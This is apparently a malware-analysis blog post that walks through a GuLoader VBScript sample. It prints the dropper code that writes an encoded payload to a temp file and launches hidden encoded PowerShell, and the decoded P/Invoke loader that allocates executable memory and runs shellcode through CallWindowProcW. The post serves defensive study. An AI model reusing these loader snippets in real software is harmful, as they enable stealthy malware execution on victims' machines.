GuLoader Executing Shellcode Using Callback Functions
I personally despise trying to analyze shellcode, but shellcode is becoming more common in malware of all types. From Metasploit and Cobalt Strike to GuLoader, loads of malicious tools include shellcode as injectable payloads to make detection harder. In today’s post I want to look at one of the most recent iterations of GuLoader and how it deploys its shellcode. If you want to play along at home, the sample I’m analyzing is in MalwareBazaar here: https://bazaar.abuse.ch/sample/dcc73a1351b6b79d48f7b42a96edfb142ffe46f896e1ab9f412a615b1edd7c9b/
Triaging the First Stage
For the first stage, MalwareBazaar says its a VBScript file, so we’ve already got a decent hypothesis on the file type. We can go ahead and confirm with file
and xxd
. Sure enough, it looks like we’re dealing with a text file, and the first few bytes of the text file looks like they might be a VBScript comment prepended with a '
character.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
remnux@remnux:~/cases/guloader$ file remittence.vbs
remittence.vbs: ASCII text, with CRLF line terminators
remnux@remnux:~/cases/guloader$ xxd remittence.vbs | head
00000000: 2767 656e 6b61 6c64 656c 7320 556e 6d65 'genkaldels Unme
00000010: 7769 6e67 6239 204e 6575 726f 6e64 6536 wingb9 Neuronde6
00000020: 204b 726f 7033 2042 6172 6265 7269 206d Krop3 Barberi m
00000030: 6973 7265 2066 7269 6d20 554e 4143 2048 isre frim UNAC H
00000040: 594c 4550 4920 4d41 4c54 4e49 4e20 4752 YLEPI MALTNIN GR
00000050: 4144 2048 4f4c 4f53 5920 4272 7569 6e73 AD HOLOSY Bruins
00000060: 6875 2064 656d 756c 2049 4e47 4956 4545 hu demul INGIVEE
00000070: 5520 504f 5354 4e41 5445 4e20 5649 4e44 U POSTNATEN VIND
00000080: 454e 5355 4e44 204b 7572 6461 6974 3320 ENSUND Kurdait3
00000090: 5448 4f4d 534f 4e41 4e54 2053 7562 7275 THOMSONANT Subru
Looking at the details from exiftool
, the size of the file stands out. Weighing in at 80 KiB, the script likely contains some binary/EXE content embedded inside. 673 lines of code, it’s a pretty decently-sized script. So let’s dive in!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
remnux@remnux:~/cases/guloader$ exiftool remittence.vbs
ExifTool Version Number : 12.30
File Name : remittence.vbs
Directory : .
File Size : 80 KiB
File Modification Date/Time : 2022:01:25 01:07:38-05:00
File Access Date/Time : 2022:01:24 21:43:55-05:00
File Inode Change Date/Time : 2022:01:24 20:11:16-05:00
File Permissions : -rw-r--r--
File Type : TXT
File Type Extension : txt
MIME Type : text/plain
MIME Encoding : us-ascii
Newlines : Windows CRLF
Line Count : 673
Word Count : 3409
Examining the VBScript Code
Immediately on the first few lines of the script we can see several lines of VBScript comments. Usually comments are for code documentation (heh, right?) but in this case the adversary decided to put in some garbage code. This sort of thing is usually intended to stump static detection rules, lower AV detection rates, and slow down malware analysis. After a quick glance at the comment lines, there’s nothing that really tells me that we need to keep them, so we can just ignore or delete them.
1
2
3
4
'genkaldels Unmewingb9 Neuronde6 Krop3 Barberi misre frim UNAC HYLEPI MALTNIN GRAD HOLOSY Bruinshu demul INGIVEEU POSTNATEN VINDENSUND Kurdait3 THOMSONANT Subrules BRUGSGA Usselhed Fakt Waughtsfo Udmugning NONPRO NONDEFER MUDDERGRFT bondsla Bros europapa
'Bebrejd Blevins DRABS EDDA Uberrt2 TILLIGGEND Nedisni1 Unrefulg Tsum AGRA Renderne
'Darvon FORLDREKN Vasalsta faaspointe Numselea9 Speedw TVANGL Ejert stymieds Writ6 liquefy Censedspe4 MEANDR BOWLINGEN bassetters yokoonop visuals Platingbyg5 SKARNB Bygningsfe Pulli Farve baasetm klejne
'INDTRDELSE HJEMM Fortjenst Nsvi sirdar FORMAL Progra2 airworth Axometrybl6 Stan6 OBLIGATI Ineffi Unsa Conven Bisulfate AKUPUNKT preadjust SIDE Pels2 antilethar manch ALDERLIN Nimmedvor
Next up in the code we have a simple sleep timer right after some variables get defined. The script sleeps for 2000 milliseconds before moving on to the next stage.
1
2
3
4
5
6
7
Dim sired, objExec, strLine
Dim MyFile,teststr
F = timer
Wscript.Sleep 2000
G = timer
If G > F then
Down in the next section the adversary decides to set the sired
and CCA
variables multiple times in a row. No idea why they do it like this, maybe they also hit the save button in MS Office multiple times for safety. The sired
variable contains a Wscript shell object and CCA
contains a file system object for file writing.
1
2
3
4
5
6
set sired = CreateObject("Wscript.Shell")
Set CCA = CreateObject("S"+"cripting.FileSystemObject")
set sired = CreateObject("Wscript.Shell")
Set CCA = CreateObject("S"+"cripting.FileSystemObject")
set sired = CreateObject("Wscript.Shell")
Set CCA = CreateObject("S"+"cripting.FileSystemObject")
And now we get into the good meat of the script. The Fotografe6
variable is built over multiple lines and contains what loks like a hex string. I don’t see a traditional MZ
header represented as 4D5A
in hex, but it could be further obfuscated somehow. We’ll just have to watch and see how the script uses it.
1
2
Fotografe6 = Fotografe6 & "81ED000300006 ... EF9F10408E"
Fotografe6 = Fotografe6 & "4166620BE8491 ... 62D3219DF4"
The clabbering
variable, just like the previous one, is built over multiple lines. In this case it appears to be base64 code because once we feed some of the chunks into CyberChef with the “From Base64” it decodes into valid text.
1
2
3
4
clabbering = clabbering & "IwBBAEkAUgBFA ... AGEAbgB0AG"
clabbering = clabbering & "kAdAB5AHIAbwAg ... bABrAG8AI"
clabbering = clabbering & "ABuAG8AbgBtAGE ... AbwBpAHMA"
clabbering = clabbering & "IABVAG4AdgBlAG ... MASABVAFQ"
Now that we have an idea of the materials being manipulated in the script, let’s see how the script uses them. The next chunk of code looks like it’s building a PowerShell command. At this point I’m thinking the base64 chunk of text in clabbering
above will likely be fed into PowerShell for execution. Fotografe6
looks like it gets fed into a baggrun()
and lugsai()
function. Since shellPath
contains a file path and the string ISO-8859-1
refers to encoding, my hypothesis is that lugsai()
writes the contents of Fotografe6
to disk. Let’s go confirm that.
1
2
3
4
5
TMP1 = "%"+"TEMP%"
MyFile = sired.ExpandEnvironmentStrings("%windir%") & "\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
Fotografe6 = baggrun(Fotografe6)
shellPath = sired.ExpandEnvironmentStrings(TMP1) & "\Champag6.dat"
lugsai shellPath,Fotografe6,"ISO-8859-1"
The lugsai()
function looks like it works with an ADODB.Stream object, picks a character set, opens a file, and writes text to disk. So far it looks like our hypothesis was correct.
1
2
3
4
5
6
7
8
9
10
Function lugsai(NONN, UNDEGRAD, Lathesme1)
Dim BinaryStream
ADO = "ADODB.Stream"
Set BinaryStream = CreateObject(ADO)
BinaryStream.Type = 2
BinaryStream.CharSet = Lathesme1
BinaryStream.Open
BinaryStream.WriteText UNDEGRAD
BinaryStream.SaveToFile NONN, 2
End Function
The baggrun()
function looks like it works with the hex string in Fotografe6
. The function walks through the hex string and checks for “ZZZ” values. If it doesn’t find them it just outputs the hex string.
1
2
3
4
5
6
Function baggrun(h)
For i = 1 To len(h) step 2
if ChrW("&H" & mid(h,i,2)) = "ZZZ" then Wscript.Sleep(1)
baggrun = baggrun + ChrW("&H" & mid(h,i,2))
Next
End Function
And now the script starts making some movement outside of itself. The -EncodedCommand
string here indicates we’re likely going to see a PowerShell command with a base64 chunk of code. Sure enough, the base64 code in clabbering
eventually gets used for the PowerShell command. So let’s
1
2
3
4
5
6
7
8
9
Set obj1 = CreateObject("Shell.Application")
max1=clabbering
RAVNEAGT = " -EncodedCommand " & chr(34) & max1 & chr(34)
If CCA.FileExists(MyFile) = True then
obj1.ShellExecute MyFile , RAVNEAGT ,"","",0
else
obj1.ShellExecute "powershell.exe", RAVNEAGT ,"","",0
end if
PowerShell Executing Shellcode with .NET
After decoding the base64 in clabbering
with CyberChef we can see some PowerShell code that gets executed. Just like the VBScript, the first line or two just contains a useless comment. Looking through the rest of the code there are also a few comments mingled among the useful stuff. For a bit more brevity I’ve gone ahead and removed comments from the code I show here. To slow down analysis some more, the adversary also threw in a bunch of Test-Path
commands. None of them seemed to serve any function, so I removed them from the code here.
The first big chunk of PowerShell is an Add-Type
cmdlet followed by some C# code. Add-Type
allows you to import a .NET class DLL into memory to work with in PowerShell. When combined with the -TypeDefinition
, you can provide some raw C# code that gets compiled into bytecode at runtime and loaded into PowerShell. In this case, the adversary defines a .NET class named Ofayve1
that contains Platform Invoke (P/Invoke) code that allows the adversary to call native Win32 functions from .NET code.
1
2
3
4
5
6
7
8
9
10
11
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public static class Ofayve1
{
[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Ofayve6,ref Int32 Swat9,int Rasko8,ref Int32 Ofayve,int Metzerespe9,int Ofayve7);
[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string BUTTERMA,uint Contra6,int undvrpieti,int Ofayve0,int Foldysy7,int Oboer8,int BLUFF);
[DllImport("kernel32.dll")]public static extern int ReadFile(int Rasko80,uint Rasko81,IntPtr Rasko82,ref Int32 Rasko83,int Rasko84);
[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr Rasko85,int Rasko86,int Rasko87,int Rasko88,int Rasko89);
}
"@
From here in, the adversary references that class/type to call Windows API functions. The first three are pretty self-explanatory and I’ll put links to their documentation here:
When combined together, these functions read the contents of Champag6.dat
and mapped them into memory at $Ofayve3
. These contents included the hex string seen earlier, and my working hypothesis is that the file is some form of shellcode.
1
2
3
4
5
6
7
8
9
$Ofayve3=0;
$Ofayve9=1048576;
$Ofayve8=[Ofayve1]::NtAllocateVirtualMemory(-1,[ref]$Ofayve3,0,[ref]$Ofayve9,12288,64)
$Ofayve2="$env:temp" + "\Champag6.dat"
$Ofayve4=[Ofayve1]::CreateFileA($Ofayve2,2147483648,1,0,3,128,0)
$Ofayve5=0;
[Ofayve1]::ReadFile($Ofayve4,$Ofayve3,26042,[ref]$Ofayve5,0)
[Ofayve1]::CallWindowProcW($Ofayve3, 0,0,0,0)
The final part of the script calls CallWindowProcW
, which was unusual for me to see. I decided to get a little wild and do a Google search for “CallWindowProc shellcode” and ended up running across an interesting article on using function callbacks to run shellcode. Reading down the article, I could see some code that looks very similar to our sample:
1
CallWindowProc((WNDPROC)(char *)shellcode, (HWND)0, 0, 0, 0);
Sure enough, the GuLoader code above seems to match that callback article.
But is it GuLoader?
Honestly this is hard for me to tell. I largely trust the GuLoader tag in MalwareBazaar but it’s always good to have extra proof. When I open up the suspected shellcode in Ghidra there is some definite XOR activity going on.
And when I use this little chunk of Python code, I can reverse that XOR:
1
2
3
4
5
6
7
8
9
def str_xor(data, key):
for i in range(len(data)):
data[i] ^= key[i % len(key)]
return data
key = bytearray(b'0x6a8a4f58')
data = bytearray(open('encoded_shellcode.bin', 'rb').read())
decoded = str_xor(data, key)
open("decoded_shellcode.bin", "wb").write(decoded)
Credit to https://reverseengineering.stackexchange.com/questions/11033/how-to-decrypt-data-in-binary-file-by-xor-operator-using-a-given-key-at-specific
The resulting shellcode gets some hits from capa
as containing anti-VM and sandbox evasion measures.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
remnux@remnux:~/cases/guloader$ capa -f sc32 dec_shellcode.bin
+------------------------------------------------------+------------------------------------+
| md5 | 565eb36ab19132a4b963cc840febd24c |
| sha1 | 78dd372f6ed9962d0a0e3841675ab374235d2f94 |
| sha256 | 82ec24bbf698d635f3e7bfbda89971518f010c8efde79fcd43a2805a0945850f |
| path | dec_shellcode.bin |
+------------------------------------------------------+------------------------------------+
+------------------------------------------------------+------------------------------------+
| ATT&CK Tactic | ATT&CK Technique |
+------------------------------------------------------+------------------------------------+
| DEFENSE EVASION | Virtualization/Sandbox Evasion::System Checks T1497.001 |
+------------------------------------------------------+------------------------------------+
+------------------------------------------------------+------------------------------------+
| MBC Objective | MBC Behavior |
+------------------------------------------------------+------------------------------------+
| ANTI-BEHAVIORAL ANALYSIS | Virtual Machine Detection::Instruction Testing [B0009.029] |
+------------------------------------------------------+------------------------------------+
+------------------------------------------------------+------------------------------------+
| CAPABILITY | NAMESPACE |
+------------------------------------------------------+------------------------------------+
| execute anti-VM instructions | anti-analysis/anti-vm/vm-detection |
+------------------------------------------------------+------------------------------------+
This is where I stopped my particular analysis. GuLoader is rather famous for anti-VM, anti-sandbox, anti-whatever, so I feel pretty satisfied with our progress so far. Given the shellcode capabilities and the face that GuLoader usually involves shellcode like this, I’m good with calling it GuLoader.
Thanks for reading!